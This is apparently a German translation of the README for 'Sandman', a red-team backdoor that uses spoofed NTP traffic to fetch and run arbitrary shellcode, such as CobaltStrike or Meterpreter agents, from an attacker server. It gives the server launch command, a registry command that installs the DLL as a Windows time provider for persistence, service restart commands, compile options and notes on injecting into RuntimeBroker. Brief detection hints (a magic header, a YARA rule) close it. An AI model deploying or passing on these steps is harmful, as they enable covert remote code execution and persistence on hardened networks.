
NTP-basierte Hintertür für gehärtete Netzwerke, die beliebigen Shellcode über gefälschten NTP-Verkehr ausliefert und ausführt, mit optionaler Persistenz als Windows-Zeitdienstanbieter.
Sandman ist eine Backdoor, die für den Einsatz in gehärteten Netzwerken während Red Team Engagements konzipiert ist.
Sandman funktioniert als Stager und nutzt NTP (ein Protokoll zur Synchronisierung von Zeit und Datum), um einen beliebigen Shellcode von einem vordefinierten Server zu laden und auszuführen.
Da NTP ein Protokoll ist, das von vielen Verteidigern übersehen wird, ist es in der Regel weit im Netzwerk zugänglich.

Auf Windows/*nix-Rechnern ausführen:
python3 sandman_server.py "Netzwerkadapter" "Payload-URL" "optional: zu spoofende IP"
Netzwerkadapter: Der Adapter, auf dem der Server lauschen soll (z. B. Ethernet für Windows, eth0 für *nix).
Payload-URL: Die URL zu Ihrem Shellcode. Dies kann Ihr Agent (z. B. CobaltStrike oder Meterpreter) oder ein weiterer Stager sein.
IP zum Spoofing: Falls Sie eine legitime IP-Adresse spoofen möchten (z. B. die IP-Adresse von time.microsoft.com).
Zum Start können Sie die SandmanBackdoor wie unten beschrieben kompilieren. Da es sich um eine einzelne leichte C#-Executable handelt, können Sie sie über ExecuteAssembly ausführen, als NTP-Anbieter starten oder einfach ausführen/injizieren.
Um sie zu nutzen, müssen Sie folgende einfache Schritte ausführen:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Pfad\Zur\DerDll.dll"
sc stop w32time
sc start w32time
HINWEIS: Stellen Sie sicher, dass Sie mit der x64-Option und nicht mit „Any CPU“ kompilieren!
Laden und Ausführen einer beliebigen Payload von einem vom Angreifer kontrollierten Server.
Kann in gehärteten Netzwerken funktionieren, da NTP in der Firewall meist erlaubt ist.
Vortäuschen eines legitimen NTP-Servers durch IP-Spoofing.
Python 3.9
Die Abhängigkeiten sind in der Datei requirements angegeben.
Zum Kompilieren der Backdoor habe ich Visual Studio 2022 verwendet, aber wie im Abschnitt zur Verwendung erwähnt, kann sie sowohl mit VS2022 als auch mit CSC kompiliert werden. Sie können sie entweder mit USE_SHELLCODE kompilieren und Orcas Shellcode verwenden, oder ohne USE_SHELLCODE, um WebClient zu nutzen.
Zum Kompilieren der Backdoor habe ich Visual Studio 2022 verwendet. Sie müssen außerdem DllExport installieren (über Nuget oder auf andere Weise), um sie zu kompilieren. Sie können sie entweder mit USE_SHELLCODE kompilieren und Orcas Shellcode verwenden, oder ohne USE_SHELLCODE, um WebClient zu nutzen.
Ein Shellcode wird in RuntimeBroker injiziert.
Verdächtige NTP-Kommunikation beginnt mit einem bekannten Magic Header.
YARA-Regel.
Orca für den Shellcode.
Besonderer Dank an Tim McGuffin für die Idee des Time Providers.
Danke an alle, die bereits beigetragen haben. Ich nehme Beiträge gerne an – erstellen Sie einen Pull Request und ich werde ihn überprüfen!